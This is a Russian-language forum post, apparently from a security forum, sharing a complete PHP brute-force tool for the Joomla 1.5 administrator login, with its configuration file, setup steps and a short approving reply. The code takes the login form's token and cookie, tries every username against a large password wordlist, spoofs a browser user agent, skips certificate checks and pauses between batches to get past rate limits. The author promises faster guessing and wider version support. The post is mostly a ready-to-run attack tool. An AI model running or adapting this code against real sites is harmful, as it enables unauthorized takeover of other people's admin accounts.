Статья Брутфорс скрипт на PHP для joomla 1.5

Доброго времени суток уважаемое сообщество.
Между своими сериями 1 и 2 небольшого брутфорса на PHP для Joomla 1.5 решил написать более простой и быстрый но главное рабочий вариант, без сторонних библиотек, на регулярных выражениях.

На выхлопе получил вот такую саймпл брутилку
Screenshot_5.png

Screenshot_1.png


Долго описывать не буду, сразу выкладываю код.

PHP:
<?php
define('DR', DIRECTORY_SEPARATOR);

function present() {
    echo PHP_EOL;
    echo
'   _              _                _     
  (_) Joomla 1.5 | |__  _ __ _   _| |_ ___
  | |/ _ \ / _ \ | \'_ \| \'__| | | | __/ _ \
  | | (_) | (_)  | |_) | |  | |_| | ||  __/
_/ |\___/ \___/ |_.__/|_|   \__,_|\__\___|
|__/ for codeby.net by wonalive v.0.1 2017                                  
';
    echo PHP_EOL;
}

function loadSettings() {
    $settings = file_exists('settings.ini') ? parse_ini_file('settings.ini') : null;
    if($settings === null) {
        displayErrorAndDie(7);
    }
    define('TARGET', $settings['target']);
    define('TIMEOUT', $settings['timeout']);
    define('PATTERN_FOR_TOKEN', $settings['pattern_for_token']);
    define('PATTERN_FOR_MESSAGE', $settings['pattern_for_message']);
    define('ERROR_MESSAGE', $settings['error_message']);
    define('LOGINS', 'logins.txt');
    define('PASSWORDS', 'cain_and_abel_300k.txt');
    define('PAUSE_IN_SECONDS', $settings['pause_in_seconds']);
    define('ATTEMPT_PAUSE', $settings['attempt_pause']);
    define('CURL_VERBOSE', $settings['curl_verbose']);
}

function displayErrorAndDie($errorCode, $number = null) {
    $errors = [
        0 => 'CONNECT PROBLEM',
        1 => 'GET TOKEN OR/AND COOKIE',
        2 => 'LOGINS FILE IS BROKEN',
        3 => 'PASSWORDS FILE IS BROKEN',
        4 => 'IN CHECK, POSITION IS: ' . $number,
        5 => 'IN ' . $number . ' ATTEMPT',
        6 => 'HTTP_CODE IS ' . $number,
        7 => 'Configuration file is not found. Create \'settings.ini\' in \'' . __DIR__ . '\'',
    ];
    die('[-]ERROR: ' . $errors[$errorCode] . ' (error code is ' . $errorCode .')' . PHP_EOL . 'Shutdown program...' . PHP_EOL);
}

function displayMessage($messageCode, $number = null, $login = null, $password = null) {
    $messages = [
        0  => 'CONNECT ESTABLISHED',
        1  => 'TOKEN AND COOKIE GET COMPLETE',
        2  => 'TOKEN IS EMPTY',
        3  => 'LOGIN FILE UPLOADED: ' . $number,
        4  => 'PASSWORD FILE UPLOADED: ' . $number,
        5  => 'ATTEMPTS WILL BE: ' . $number,
        6  => 'START CHECK',
        7  => 'ATTEMPT: ' . $number . ' -- LOGIN: ' . $login . ' -- PASSWORD: ' . $password,
        8  => 'WRONG CREDENTIALS (' . $number .')' ,
        9  => 'PAUSE ' . PAUSE_IN_SECONDS . ' SECONDS...' ,
        10 => 'PASSWORD FOUND',

    ];
    echo '[+]: ' . $messages[$messageCode] . PHP_EOL;
}

function getHtmlAndCookie() {
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, TARGET);
    curl_setopt($ch, CURLOPT_HEADER, 0);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
    curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, TIMEOUT);
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
    curl_setopt($ch, CURLOPT_VERBOSE, CURL_VERBOSE);
    curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/4.0 (Windows; U; Windows NT 5.0; En; rv:1.8.0.2) Gecko/20070306 Firefox/1.0.0.4");
    curl_setopt($ch, CURLOPT_COOKIEJAR, dirname(__FILE__) . DR . 'tmp' . DR . 'cookie');
    $html = curl_exec($ch);

    if(curl_error($ch))
    {
        echo "\n\ncURL error:" . curl_error($ch);
        echo "\n\ncURL error:" . curl_errno($ch);
    }

    $http_code = curl_getinfo($ch,CURLINFO_HTTP_CODE);
    curl_close($ch);

    if($http_code !== 200) {
        displayMessage(6, $http_code);
    }

    if(!empty($html)) {
        displayMessage(0);
        return $html;
    }
    displayErrorAndDie(0);
    return false;
}

function getToken($html) {
    if(empty($html)) {
        displayErrorAndDie(1);
    }
    preg_match_all(PATTERN_FOR_TOKEN, $html, $result);
    if(!empty($result[1][0])) {
        if(file_put_contents(dirname(__FILE__) . DR . 'tmp' . DR . 'token', $result[1][0])) {
            displayMessage(1);
            return $result[1][0];
        }
        displayErrorAndDie(2);
        return false;
    }
    displayErrorAndDie(1);
    return false;
}

function getLoginList() {
    if(file_exists(LOGINS)) {
        displayMessage(3, count(file(LOGINS)));
        $logins = array();
        foreach(file(LOGINS) as $login) {
            $logins[] = str_replace(array("\r","\n"),"", $login);
        }
        return $logins;
    }
    displayErrorAndDie(3);
    return false;
}

function getPassList() {
    if(file_exists(PASSWORDS)) {
        displayMessage(4, count(file(PASSWORDS)));
        $passwords = array();
        foreach(file(PASSWORDS) as $password) {
            $passwords[] = str_replace(array("\r","\n"),"", $password);
        }
        return $passwords;
    }
    displayErrorAndDie(4);
    return false;
}

function startCheck($logins, $passwords, $token) {
    displayMessage(6);
    $attempt = 1;
    foreach($logins as $login) {
        foreach($passwords as $password) {

            displayMessage(7, $attempt, $login, $password);

            $ch = curl_init();
            curl_setopt($ch, CURLOPT_URL, TARGET);
            curl_setopt($ch, CURLOPT_HEADER, 0);
            curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
            curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
            curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, TIMEOUT);
            curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
            curl_setopt($ch, CURLOPT_VERBOSE, CURL_VERBOSE);
            curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/4.0 (Windows; U; Windows NT 5.0; En; rv:1.8.0.2) Gecko/20070306 Firefox/1.0.0.4");
            curl_setopt($ch, CURLOPT_COOKIEFILE,  dirname(__FILE__) . DR . 'tmp' . DR . 'cookie');
            curl_setopt($ch, CURLOPT_POST, 1);
            curl_setopt($ch, CURLOPT_POSTFIELDS, array(
                'username' => $login,
                'passwd' => $password,
                'lang' => '',
                'option' => 'com_login',
                'task' => 'login',
                $token => 1,
            ));

            $html = curl_exec($ch);

            if(curl_error($ch))
            {
                echo "\n\ncURL error:" . curl_error($ch);
                echo "\n\ncURL error:" . curl_errno($ch);
            }

            $http_code = curl_getinfo($ch,CURLINFO_HTTP_CODE);
            curl_close($ch);

            if($http_code !== 200) {
                displayMessage(6, $http_code);
            }

            if(!empty($html)) {

                if($attempt % ATTEMPT_PAUSE === 0) {
                    displayMessage(9);
                    sleep(PAUSE_IN_SECONDS);
                }

                $attempt++;

                preg_match_all(PATTERN_FOR_MESSAGE, $html, $message);

                if(isset($message[0][0])) {

                    if($message[0][0] === ERROR_MESSAGE) {
                        displayMessage(8, $message[0][0]);
                        continue;
                    }
                } else {
                    displayMessage(10);
                    die;
                }
            }
            displayErrorAndDie(5, $attempt);
        }
    }
}
present();
loadSettings();
$html = getHtmlAndCookie();
$token = getToken($html);
$logins = getLoginList();
$passwords = getPassList();
displayMessage(5, count($logins) * count($passwords));
startCheck($logins, $passwords, $token);

В папке с программой должен быть файлик settings.ini с таким содержимым
Код:
target = 'http://joomla/administrator/index.php';
timeout = 30;
pattern_for_token = '/<input type="hidden" name="(.{32})"/';
pattern_for_message = '/<p id="login-error-message">Username and password do not match<p>/';
error_message = '<p id="login-error-message">Username and password do not match<p>';
pause_in_seconds = 30;
attempt_pause = 100;
curl_verbose = 0;

Также, в папку нужно положить файл logins.txt и passwords.txt с соответствующим содержимым, а также создать папку tmp.

Скрипт очень простой, буду понемногу доделывать его и первый, расширять поддержку разных версий CMS Joomla и скорость подбора.

Делюсь сием чудом для критики с целью улучшения написания кода.
 
Бро, таких чудесных скриптов на гитхабе... много! и даже очень, а так да, пиши пробуй развивайся! Респект!
 
  • Нравится
Реакции: wonalive
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!